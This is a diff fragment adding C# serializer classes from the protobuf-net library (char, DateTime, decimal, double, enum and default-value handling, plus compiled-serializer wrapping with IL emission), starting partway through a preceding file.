|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,44 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
sealed class CharSerializer : UInt16Serializer
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
readonly Type expectedType;
|
||||
#else
|
||||
static readonly Type expectedType = typeof(char);
|
||||
#endif
|
||||
public CharSerializer(ProtoBuf.Meta.TypeModel model) : base(model)
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
expectedType = model.MapType(typeof(char));
|
||||
#endif
|
||||
}
|
||||
public override Type ExpectedType { get { return expectedType; } }
|
||||
|
||||
#if !FEAT_IKVM
|
||||
public override void Write(object value, ProtoWriter dest)
|
||||
{
|
||||
ProtoWriter.WriteUInt16((ushort)(char)value, dest);
|
||||
}
|
||||
public override object Read(object value, ProtoReader source)
|
||||
{
|
||||
Helpers.DebugAssert(value == null); // since replaces
|
||||
return (char)source.ReadUInt16();
|
||||
}
|
||||
#endif
|
||||
// no need for any special IL here; ushort and char are
|
||||
// interchangeable as long as there is no boxing/unboxing
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,78 @@
|
|||
#if FEAT_COMPILER && !(FX11 || FEAT_IKVM)
|
||||
using System;
|
||||
using ProtoBuf.Meta;
|
||||
|
||||
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
sealed class CompiledSerializer : IProtoTypeSerializer
|
||||
{
|
||||
bool IProtoTypeSerializer.HasCallbacks(TypeModel.CallbackType callbackType)
|
||||
{
|
||||
return head.HasCallbacks(callbackType); // these routes only used when bits of the model not compiled
|
||||
}
|
||||
bool IProtoTypeSerializer.CanCreateInstance()
|
||||
{
|
||||
return head.CanCreateInstance();
|
||||
}
|
||||
object IProtoTypeSerializer.CreateInstance(ProtoReader source)
|
||||
{
|
||||
return head.CreateInstance(source);
|
||||
}
|
||||
public void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context)
|
||||
{
|
||||
head.Callback(value, callbackType, context); // these routes only used when bits of the model not compiled
|
||||
}
|
||||
public static CompiledSerializer Wrap(IProtoTypeSerializer head, TypeModel model)
|
||||
{
|
||||
CompiledSerializer result = head as CompiledSerializer;
|
||||
if (result == null)
|
||||
{
|
||||
result = new CompiledSerializer(head, model);
|
||||
Helpers.DebugAssert(((IProtoTypeSerializer)result).ExpectedType == head.ExpectedType);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
private readonly IProtoTypeSerializer head;
|
||||
private readonly Compiler.ProtoSerializer serializer;
|
||||
private readonly Compiler.ProtoDeserializer deserializer;
|
||||
private CompiledSerializer(IProtoTypeSerializer head, TypeModel model)
|
||||
{
|
||||
this.head = head;
|
||||
serializer = Compiler.CompilerContext.BuildSerializer(head, model);
|
||||
deserializer = Compiler.CompilerContext.BuildDeserializer(head, model);
|
||||
}
|
||||
bool IProtoSerializer.RequiresOldValue { get { return head.RequiresOldValue; } }
|
||||
bool IProtoSerializer.ReturnsValue { get { return head.ReturnsValue; } }
|
||||
|
||||
Type IProtoSerializer.ExpectedType { get { return head.ExpectedType; } }
|
||||
|
||||
void IProtoSerializer.Write(object value, ProtoWriter dest)
|
||||
{
|
||||
serializer(value, dest);
|
||||
}
|
||||
object IProtoSerializer.Read(object value, ProtoReader source)
|
||||
{
|
||||
return deserializer(value, source);
|
||||
}
|
||||
|
||||
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
head.EmitWrite(ctx, valueFrom);
|
||||
}
|
||||
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
head.EmitRead(ctx, valueFrom);
|
||||
}
|
||||
void IProtoTypeSerializer.EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, TypeModel.CallbackType callbackType)
|
||||
{
|
||||
head.EmitCallback(ctx, valueFrom, callbackType);
|
||||
}
|
||||
void IProtoTypeSerializer.EmitCreateInstance(Compiler.CompilerContext ctx)
|
||||
{
|
||||
head.EmitCreateInstance(ctx);
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,55 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
sealed class DateTimeSerializer : IProtoSerializer
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
readonly Type expectedType;
|
||||
#else
|
||||
static readonly Type expectedType = typeof(DateTime);
|
||||
#endif
|
||||
public Type ExpectedType { get { return expectedType; } }
|
||||
|
||||
bool IProtoSerializer.RequiresOldValue { get { return false; } }
|
||||
bool IProtoSerializer.ReturnsValue { get { return true; } }
|
||||
|
||||
public DateTimeSerializer(ProtoBuf.Meta.TypeModel model)
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
expectedType = model.MapType(typeof(DateTime));
|
||||
#endif
|
||||
}
|
||||
#if !FEAT_IKVM
|
||||
public object Read(object value, ProtoReader source)
|
||||
{
|
||||
Helpers.DebugAssert(value == null); // since replaces
|
||||
return BclHelpers.ReadDateTime(source);
|
||||
}
|
||||
public void Write(object value, ProtoWriter dest)
|
||||
{
|
||||
BclHelpers.WriteDateTime((DateTime)value, dest);
|
||||
}
|
||||
#endif
|
||||
#if FEAT_COMPILER
|
||||
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), "WriteDateTime", valueFrom);
|
||||
}
|
||||
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), "ReadDateTime", ExpectedType);
|
||||
}
|
||||
#endif
|
||||
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,57 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
using ProtoBuf.Meta;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
sealed class DecimalSerializer : IProtoSerializer
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
readonly Type expectedType;
|
||||
#else
|
||||
static readonly Type expectedType = typeof(decimal);
|
||||
#endif
|
||||
public DecimalSerializer(ProtoBuf.Meta.TypeModel model)
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
expectedType = model.MapType(typeof(decimal));
|
||||
#endif
|
||||
}
|
||||
public Type ExpectedType { get { return expectedType; } }
|
||||
|
||||
bool IProtoSerializer.RequiresOldValue { get { return false; } }
|
||||
bool IProtoSerializer.ReturnsValue { get { return true; } }
|
||||
#if !FEAT_IKVM
|
||||
public object Read(object value, ProtoReader source)
|
||||
{
|
||||
Helpers.DebugAssert(value == null); // since replaces
|
||||
return BclHelpers.ReadDecimal(source);
|
||||
}
|
||||
public void Write(object value, ProtoWriter dest)
|
||||
{
|
||||
BclHelpers.WriteDecimal((decimal)value, dest);
|
||||
}
|
||||
#endif
|
||||
#if FEAT_COMPILER
|
||||
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), "WriteDecimal", valueFrom);
|
||||
}
|
||||
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), "ReadDecimal", ExpectedType);
|
||||
}
|
||||
#endif
|
||||
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,265 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
using ProtoBuf.Meta;
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
sealed class DefaultValueDecorator : ProtoDecoratorBase
|
||||
{
|
||||
|
||||
public override Type ExpectedType { get { return Tail.ExpectedType; } }
|
||||
public override bool RequiresOldValue { get { return Tail.RequiresOldValue; } }
|
||||
public override bool ReturnsValue { get { return Tail.ReturnsValue; } }
|
||||
private readonly object defaultValue;
|
||||
public DefaultValueDecorator(TypeModel model, object defaultValue, IProtoSerializer tail) : base(tail)
|
||||
{
|
||||
if (defaultValue == null) throw new ArgumentNullException("defaultValue");
|
||||
Type type = model.MapType(defaultValue.GetType());
|
||||
if (type != tail.ExpectedType
|
||||
#if FEAT_IKVM // in IKVM, we'll have the default value as an underlying type
|
||||
&& !(tail.ExpectedType.IsEnum && type == tail.ExpectedType.GetEnumUnderlyingType())
|
||||
#endif
|
||||
)
|
||||
{
|
||||
throw new ArgumentException("Default value is of incorrect type", "defaultValue");
|
||||
}
|
||||
this.defaultValue = defaultValue;
|
||||
}
|
||||
#if !FEAT_IKVM
|
||||
public override void Write(object value, ProtoWriter dest)
|
||||
{
|
||||
if (!object.Equals(value, defaultValue))
|
||||
{
|
||||
Tail.Write(value, dest);
|
||||
}
|
||||
}
|
||||
public override object Read(object value, ProtoReader source)
|
||||
{
|
||||
return Tail.Read(value, source);
|
||||
}
|
||||
#endif
|
||||
|
||||
#if FEAT_COMPILER
|
||||
protected override void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
Compiler.CodeLabel done = ctx.DefineLabel();
|
||||
if (valueFrom == null)
|
||||
{
|
||||
ctx.CopyValue(); // on the stack
|
||||
Compiler.CodeLabel needToPop = ctx.DefineLabel();
|
||||
EmitBranchIfDefaultValue(ctx, needToPop);
|
||||
Tail.EmitWrite(ctx, null);
|
||||
ctx.Branch(done, true);
|
||||
ctx.MarkLabel(needToPop);
|
||||
ctx.DiscardValue();
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx.LoadValue(valueFrom); // variable/parameter
|
||||
EmitBranchIfDefaultValue(ctx, done);
|
||||
Tail.EmitWrite(ctx, valueFrom);
|
||||
}
|
||||
ctx.MarkLabel(done);
|
||||
}
|
||||
private void EmitBeq(Compiler.CompilerContext ctx, Compiler.CodeLabel label, Type type)
|
||||
{
|
||||
switch (Helpers.GetTypeCode(type))
|
||||
{
|
||||
case ProtoTypeCode.Boolean:
|
||||
case ProtoTypeCode.Byte:
|
||||
case ProtoTypeCode.Char:
|
||||
case ProtoTypeCode.Double:
|
||||
case ProtoTypeCode.Int16:
|
||||
case ProtoTypeCode.Int32:
|
||||
case ProtoTypeCode.Int64:
|
||||
case ProtoTypeCode.SByte:
|
||||
case ProtoTypeCode.Single:
|
||||
case ProtoTypeCode.UInt16:
|
||||
case ProtoTypeCode.UInt32:
|
||||
case ProtoTypeCode.UInt64:
|
||||
ctx.BranchIfEqual(label, false);
|
||||
break;
|
||||
default:
|
||||
MethodInfo method = type.GetMethod("op_Equality", BindingFlags.Public | BindingFlags.Static,
|
||||
null, new Type[] { type, type}, null);
|
||||
if (method == null || method.ReturnType != ctx.MapType(typeof(bool)))
|
||||
{
|
||||
throw new InvalidOperationException("No suitable equality operator found for default-values of type: " + type.FullName);
|
||||
}
|
||||
ctx.EmitCall(method);
|
||||
ctx.BranchIfTrue(label, false);
|
||||
break;
|
||||
|
||||
}
|
||||
}
|
||||
private void EmitBranchIfDefaultValue(Compiler.CompilerContext ctx, Compiler.CodeLabel label)
|
||||
{
|
||||
switch (Helpers.GetTypeCode(ExpectedType))
|
||||
{
|
||||
case ProtoTypeCode.Boolean:
|
||||
if ((bool)defaultValue)
|
||||
{
|
||||
ctx.BranchIfTrue(label, false);
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx.BranchIfFalse(label, false);
|
||||
}
|
||||
break;
|
||||
case ProtoTypeCode.Byte:
|
||||
if ((byte)defaultValue == (byte)0)
|
||||
{
|
||||
ctx.BranchIfFalse(label, false);
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx.LoadValue((int)(byte)defaultValue);
|
||||
EmitBeq(ctx, label, ExpectedType);
|
||||
}
|
||||
break;
|
||||
case ProtoTypeCode.SByte:
|
||||
if ((sbyte)defaultValue == (sbyte)0)
|
||||
{
|
||||
ctx.BranchIfFalse(label, false);
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx.LoadValue((int)(sbyte)defaultValue);
|
||||
EmitBeq(ctx, label, ExpectedType);
|
||||
}
|
||||
break;
|
||||
case ProtoTypeCode.Int16:
|
||||
if ((short)defaultValue == (short)0)
|
||||
{
|
||||
ctx.BranchIfFalse(label, false);
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx.LoadValue((int)(short)defaultValue);
|
||||
EmitBeq(ctx, label, ExpectedType);
|
||||
}
|
||||
break;
|
||||
case ProtoTypeCode.UInt16:
|
||||
if ((ushort)defaultValue == (ushort)0)
|
||||
{
|
||||
ctx.BranchIfFalse(label, false);
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx.LoadValue((int)(ushort)defaultValue);
|
||||
EmitBeq(ctx, label, ExpectedType);
|
||||
}
|
||||
break;
|
||||
case ProtoTypeCode.Int32:
|
||||
if ((int)defaultValue == (int)0)
|
||||
{
|
||||
ctx.BranchIfFalse(label, false);
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx.LoadValue((int)defaultValue);
|
||||
EmitBeq(ctx, label, ExpectedType);
|
||||
}
|
||||
break;
|
||||
case ProtoTypeCode.UInt32:
|
||||
if ((uint)defaultValue == (uint)0)
|
||||
{
|
||||
ctx.BranchIfFalse(label, false);
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx.LoadValue((int)(uint)defaultValue);
|
||||
EmitBeq(ctx, label, ExpectedType);
|
||||
}
|
||||
break;
|
||||
case ProtoTypeCode.Char:
|
||||
if ((char)defaultValue == (char)0)
|
||||
{
|
||||
ctx.BranchIfFalse(label, false);
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx.LoadValue((int)(char)defaultValue);
|
||||
EmitBeq(ctx, label, ExpectedType);
|
||||
}
|
||||
break;
|
||||
case ProtoTypeCode.Int64:
|
||||
ctx.LoadValue((long)defaultValue);
|
||||
EmitBeq(ctx, label, ExpectedType);
|
||||
break;
|
||||
case ProtoTypeCode.UInt64:
|
||||
ctx.LoadValue((long)(ulong)defaultValue);
|
||||
EmitBeq(ctx, label, ExpectedType);
|
||||
break;
|
||||
case ProtoTypeCode.Double:
|
||||
ctx.LoadValue((double)defaultValue);
|
||||
EmitBeq(ctx, label, ExpectedType);
|
||||
break;
|
||||
case ProtoTypeCode.Single:
|
||||
ctx.LoadValue((float)defaultValue);
|
||||
EmitBeq(ctx, label, ExpectedType);
|
||||
break;
|
||||
case ProtoTypeCode.String:
|
||||
ctx.LoadValue((string)defaultValue);
|
||||
EmitBeq(ctx, label, ExpectedType);
|
||||
break;
|
||||
case ProtoTypeCode.Decimal:
|
||||
{
|
||||
decimal d = (decimal)defaultValue;
|
||||
ctx.LoadValue(d);
|
||||
EmitBeq(ctx, label, ExpectedType);
|
||||
}
|
||||
break;
|
||||
case ProtoTypeCode.TimeSpan:
|
||||
{
|
||||
TimeSpan ts = (TimeSpan)defaultValue;
|
||||
if (ts == TimeSpan.Zero)
|
||||
{
|
||||
ctx.LoadValue(typeof(TimeSpan).GetField("Zero"));
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx.LoadValue(ts.Ticks);
|
||||
ctx.EmitCall(ctx.MapType(typeof(TimeSpan)).GetMethod("FromTicks"));
|
||||
}
|
||||
EmitBeq(ctx, label, ExpectedType);
|
||||
break;
|
||||
}
|
||||
case ProtoTypeCode.Guid:
|
||||
{
|
||||
ctx.LoadValue((Guid)defaultValue);
|
||||
EmitBeq(ctx, label, ExpectedType);
|
||||
break;
|
||||
}
|
||||
case ProtoTypeCode.DateTime:
|
||||
{
|
||||
#if FX11
|
||||
ctx.LoadValue(((DateTime)defaultValue).ToFileTime());
|
||||
ctx.EmitCall(typeof(DateTime).GetMethod("FromFileTime"));
|
||||
#else
|
||||
ctx.LoadValue(((DateTime)defaultValue).ToBinary());
|
||||
ctx.EmitCall(ctx.MapType(typeof(DateTime)).GetMethod("FromBinary"));
|
||||
#endif
|
||||
|
||||
EmitBeq(ctx, label, ExpectedType);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
throw new NotSupportedException("Type cannot be represented as a default value: " + ExpectedType.FullName);
|
||||
}
|
||||
}
|
||||
protected override void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
Tail.EmitRead(ctx, valueFrom);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,54 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
using ProtoBuf.Meta;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
sealed class DoubleSerializer : IProtoSerializer
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
readonly Type expectedType;
|
||||
#else
|
||||
static readonly Type expectedType = typeof(double);
|
||||
#endif
|
||||
public DoubleSerializer(ProtoBuf.Meta.TypeModel model)
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
expectedType = model.MapType(typeof(double));
|
||||
#endif
|
||||
}
|
||||
|
||||
public Type ExpectedType { get { return expectedType; } }
|
||||
bool IProtoSerializer.RequiresOldValue { get { return false; } }
|
||||
bool IProtoSerializer.ReturnsValue { get { return true; } }
|
||||
#if !FEAT_IKVM
|
||||
public object Read(object value, ProtoReader source)
|
||||
{
|
||||
Helpers.DebugAssert(value == null); // since replaces
|
||||
return source.ReadDouble();
|
||||
}
|
||||
public void Write(object value, ProtoWriter dest)
|
||||
{
|
||||
ProtoWriter.WriteDouble((double)value, dest);
|
||||
}
|
||||
#endif
|
||||
#if FEAT_COMPILER
|
||||
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitBasicWrite("WriteDouble", valueFrom);
|
||||
}
|
||||
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitBasicRead("ReadDouble", ExpectedType);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,270 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
using ProtoBuf.Meta;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
sealed class EnumSerializer : IProtoSerializer
|
||||
{
|
||||
public struct EnumPair
|
||||
{
|
||||
public readonly object RawValue; // note that this is boxing, but I'll live with it
|
||||
#if !FEAT_IKVM
|
||||
public readonly Enum TypedValue; // note that this is boxing, but I'll live with it
|
||||
#endif
|
||||
public readonly int WireValue;
|
||||
public EnumPair(int wireValue, object raw, Type type)
|
||||
{
|
||||
WireValue = wireValue;
|
||||
RawValue = raw;
|
||||
#if !FEAT_IKVM
|
||||
TypedValue = (Enum)Enum.ToObject(type, raw);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
private readonly Type enumType;
|
||||
private readonly EnumPair[] map;
|
||||
public EnumSerializer(Type enumType, EnumPair[] map)
|
||||
{
|
||||
if (enumType == null) throw new ArgumentNullException("enumType");
|
||||
this.enumType = enumType;
|
||||
this.map = map;
|
||||
if (map != null)
|
||||
{
|
||||
for (int i = 1; i < map.Length; i++)
|
||||
for (int j = 0 ; j < i ; j++)
|
||||
{
|
||||
if (map[i].WireValue == map[j].WireValue && !Equals(map[i].RawValue, map[j].RawValue))
|
||||
{
|
||||
throw new ProtoException("Multiple enums with wire-value " + map[i].WireValue);
|
||||
}
|
||||
if (Equals(map[i].RawValue, map[j].RawValue) && map[i].WireValue != map[j].WireValue)
|
||||
{
|
||||
throw new ProtoException("Multiple enums with deserialized-value " + map[i].RawValue);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
private ProtoTypeCode GetTypeCode() {
|
||||
Type type = Helpers.GetUnderlyingType(enumType);
|
||||
if(type == null) type = enumType;
|
||||
return Helpers.GetTypeCode(type);
|
||||
}
|
||||
|
||||
|
||||
public Type ExpectedType { get { return enumType; } }
|
||||
|
||||
bool IProtoSerializer.RequiresOldValue { get { return false; } }
|
||||
bool IProtoSerializer.ReturnsValue { get { return true; } }
|
||||
|
||||
#if !FEAT_IKVM
|
||||
private int EnumToWire(object value)
|
||||
{
|
||||
unchecked
|
||||
{
|
||||
switch (GetTypeCode())
|
||||
{ // unbox then convert to int
|
||||
case ProtoTypeCode.Byte: return (int)(byte)value;
|
||||
case ProtoTypeCode.SByte: return (int)(sbyte)value;
|
||||
case ProtoTypeCode.Int16: return (int)(short)value;
|
||||
case ProtoTypeCode.Int32: return (int)value;
|
||||
case ProtoTypeCode.Int64: return (int)(long)value;
|
||||
case ProtoTypeCode.UInt16: return (int)(ushort)value;
|
||||
case ProtoTypeCode.UInt32: return (int)(uint)value;
|
||||
case ProtoTypeCode.UInt64: return (int)(ulong)value;
|
||||
default: throw new InvalidOperationException();
|
||||
}
|
||||
}
|
||||
}
|
||||
private object WireToEnum(int value)
|
||||
{
|
||||
unchecked
|
||||
{
|
||||
switch (GetTypeCode())
|
||||
{ // convert from int then box
|
||||
case ProtoTypeCode.Byte: return Enum.ToObject(enumType, (byte)value);
|
||||
case ProtoTypeCode.SByte: return Enum.ToObject(enumType, (sbyte)value);
|
||||
case ProtoTypeCode.Int16: return Enum.ToObject(enumType, (short)value);
|
||||
case ProtoTypeCode.Int32: return Enum.ToObject(enumType, value);
|
||||
case ProtoTypeCode.Int64: return Enum.ToObject(enumType, (long)value);
|
||||
case ProtoTypeCode.UInt16: return Enum.ToObject(enumType, (ushort)value);
|
||||
case ProtoTypeCode.UInt32: return Enum.ToObject(enumType, (uint)value);
|
||||
case ProtoTypeCode.UInt64: return Enum.ToObject(enumType, (ulong)value);
|
||||
default: throw new InvalidOperationException();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public object Read(object value, ProtoReader source)
|
||||
{
|
||||
Helpers.DebugAssert(value == null); // since replaces
|
||||
int wireValue = source.ReadInt32();
|
||||
if(map == null) {
|
||||
return WireToEnum(wireValue);
|
||||
}
|
||||
for(int i = 0 ; i < map.Length ; i++) {
|
||||
if(map[i].WireValue == wireValue) {
|
||||
return map[i].TypedValue;
|
||||
}
|
||||
}
|
||||
source.ThrowEnumException(ExpectedType, wireValue);
|
||||
return null; // to make compiler happy
|
||||
}
|
||||
public void Write(object value, ProtoWriter dest)
|
||||
{
|
||||
if (map == null)
|
||||
{
|
||||
ProtoWriter.WriteInt32(EnumToWire(value), dest);
|
||||
}
|
||||
else
|
||||
{
|
||||
for (int i = 0; i < map.Length; i++)
|
||||
{
|
||||
if (object.Equals(map[i].TypedValue, value))
|
||||
{
|
||||
ProtoWriter.WriteInt32(map[i].WireValue, dest);
|
||||
return;
|
||||
}
|
||||
}
|
||||
ProtoWriter.ThrowEnumException(dest, value);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
#if FEAT_COMPILER
|
||||
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ProtoTypeCode typeCode = GetTypeCode();
|
||||
if (map == null)
|
||||
{
|
||||
ctx.LoadValue(valueFrom);
|
||||
ctx.ConvertToInt32(typeCode, false);
|
||||
ctx.EmitBasicWrite("WriteInt32", null);
|
||||
}
|
||||
else
|
||||
{
|
||||
using (Compiler.Local loc = ctx.GetLocalWithValue(ExpectedType, valueFrom))
|
||||
{
|
||||
Compiler.CodeLabel @continue = ctx.DefineLabel();
|
||||
for (int i = 0; i < map.Length; i++)
|
||||
{
|
||||
Compiler.CodeLabel tryNextValue = ctx.DefineLabel(), processThisValue = ctx.DefineLabel();
|
||||
ctx.LoadValue(loc);
|
||||
WriteEnumValue(ctx, typeCode, map[i].RawValue);
|
||||
ctx.BranchIfEqual(processThisValue, true);
|
||||
ctx.Branch(tryNextValue, true);
|
||||
ctx.MarkLabel(processThisValue);
|
||||
ctx.LoadValue(map[i].WireValue);
|
||||
ctx.EmitBasicWrite("WriteInt32", null);
|
||||
ctx.Branch(@continue, false);
|
||||
ctx.MarkLabel(tryNextValue);
|
||||
}
|
||||
ctx.LoadReaderWriter();
|
||||
ctx.LoadValue(loc);
|
||||
ctx.CastToObject(ExpectedType);
|
||||
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("ThrowEnumException"));
|
||||
ctx.MarkLabel(@continue);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ProtoTypeCode typeCode = GetTypeCode();
|
||||
if (map == null)
|
||||
{
|
||||
ctx.EmitBasicRead("ReadInt32", ctx.MapType(typeof(int)));
|
||||
ctx.ConvertFromInt32(typeCode, false);
|
||||
}
|
||||
else
|
||||
{
|
||||
int[] wireValues = new int[map.Length];
|
||||
object[] values = new object[map.Length];
|
||||
for (int i = 0; i < map.Length; i++)
|
||||
{
|
||||
wireValues[i] = map[i].WireValue;
|
||||
values[i] = map[i].RawValue;
|
||||
}
|
||||
using (Compiler.Local result = new Compiler.Local(ctx, ExpectedType))
|
||||
using (Compiler.Local wireValue = new Compiler.Local(ctx, ctx.MapType(typeof(int))))
|
||||
{
|
||||
ctx.EmitBasicRead("ReadInt32", ctx.MapType(typeof(int)));
|
||||
ctx.StoreValue(wireValue);
|
||||
Compiler.CodeLabel @continue = ctx.DefineLabel();
|
||||
foreach (BasicList.Group group in BasicList.GetContiguousGroups(wireValues, values))
|
||||
{
|
||||
Compiler.CodeLabel tryNextGroup = ctx.DefineLabel();
|
||||
int groupItemCount = group.Items.Count;
|
||||
if (groupItemCount == 1)
|
||||
{
|
||||
// discreet group; use an equality test
|
||||
ctx.LoadValue(wireValue);
|
||||
ctx.LoadValue(group.First);
|
||||
Compiler.CodeLabel processThisValue = ctx.DefineLabel();
|
||||
ctx.BranchIfEqual(processThisValue, true);
|
||||
ctx.Branch(tryNextGroup, false);
|
||||
WriteEnumValue(ctx, typeCode, processThisValue, @continue, group.Items[0], @result);
|
||||
}
|
||||
else
|
||||
{
|
||||
// implement as a jump-table-based switch
|
||||
ctx.LoadValue(wireValue);
|
||||
ctx.LoadValue(group.First);
|
||||
ctx.Subtract(); // jump-tables are zero-based
|
||||
Compiler.CodeLabel[] jmp = new Compiler.CodeLabel[groupItemCount];
|
||||
for (int i = 0; i < groupItemCount; i++) {
|
||||
jmp[i] = ctx.DefineLabel();
|
||||
}
|
||||
ctx.Switch(jmp);
|
||||
// write the default...
|
||||
ctx.Branch(tryNextGroup, false);
|
||||
for (int i = 0; i < groupItemCount; i++)
|
||||
{
|
||||
WriteEnumValue(ctx, typeCode, jmp[i], @continue, group.Items[i], @result);
|
||||
}
|
||||
}
|
||||
ctx.MarkLabel(tryNextGroup);
|
||||
}
|
||||
// throw source.CreateEnumException(ExpectedType, wireValue);
|
||||
ctx.LoadReaderWriter();
|
||||
ctx.LoadValue(ExpectedType);
|
||||
ctx.LoadValue(wireValue);
|
||||
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("ThrowEnumException"));
|
||||
ctx.MarkLabel(@continue);
|
||||
ctx.LoadValue(result);
|
||||
}
|
||||
}
|
||||
}
|
||||
private static void WriteEnumValue(Compiler.CompilerContext ctx, ProtoTypeCode typeCode, object value)
|
||||
{
|
||||
switch (typeCode)
|
||||
{
|
||||
case ProtoTypeCode.Byte: ctx.LoadValue((int)(byte)value); break;
|
||||
case ProtoTypeCode.SByte: ctx.LoadValue((int)(sbyte)value); break;
|
||||
case ProtoTypeCode.Int16: ctx.LoadValue((int)(short)value); break;
|
||||
case ProtoTypeCode.Int32: ctx.LoadValue((int)(int)value); break;
|
||||
case ProtoTypeCode.Int64: ctx.LoadValue((long)(long)value); break;
|
||||
case ProtoTypeCode.UInt16: ctx.LoadValue((int)(ushort)value); break;
|
||||
case ProtoTypeCode.UInt32: ctx.LoadValue((int)(uint)value); break;
|
||||
case ProtoTypeCode.UInt64: ctx.LoadValue((long)(ulong)value); break;
|
||||
default: throw new InvalidOperationException();
|
||||
}
|
||||
}
|
||||
private static void WriteEnumValue(Compiler.CompilerContext ctx, ProtoTypeCode typeCode, Compiler.CodeLabel handler, Compiler.CodeLabel @continue, object value, Compiler.Local local)
|
||||
{
|
||||
ctx.MarkLabel(handler);
|
||||
WriteEnumValue(ctx, typeCode, value);
|
||||
ctx.StoreValue(local);
|
||||
ctx.Branch(@continue, false); // "continue"
|
||||
}
|
||||
#endif
|
||||
}
|
||||
}
|
||||
#endif
|
|
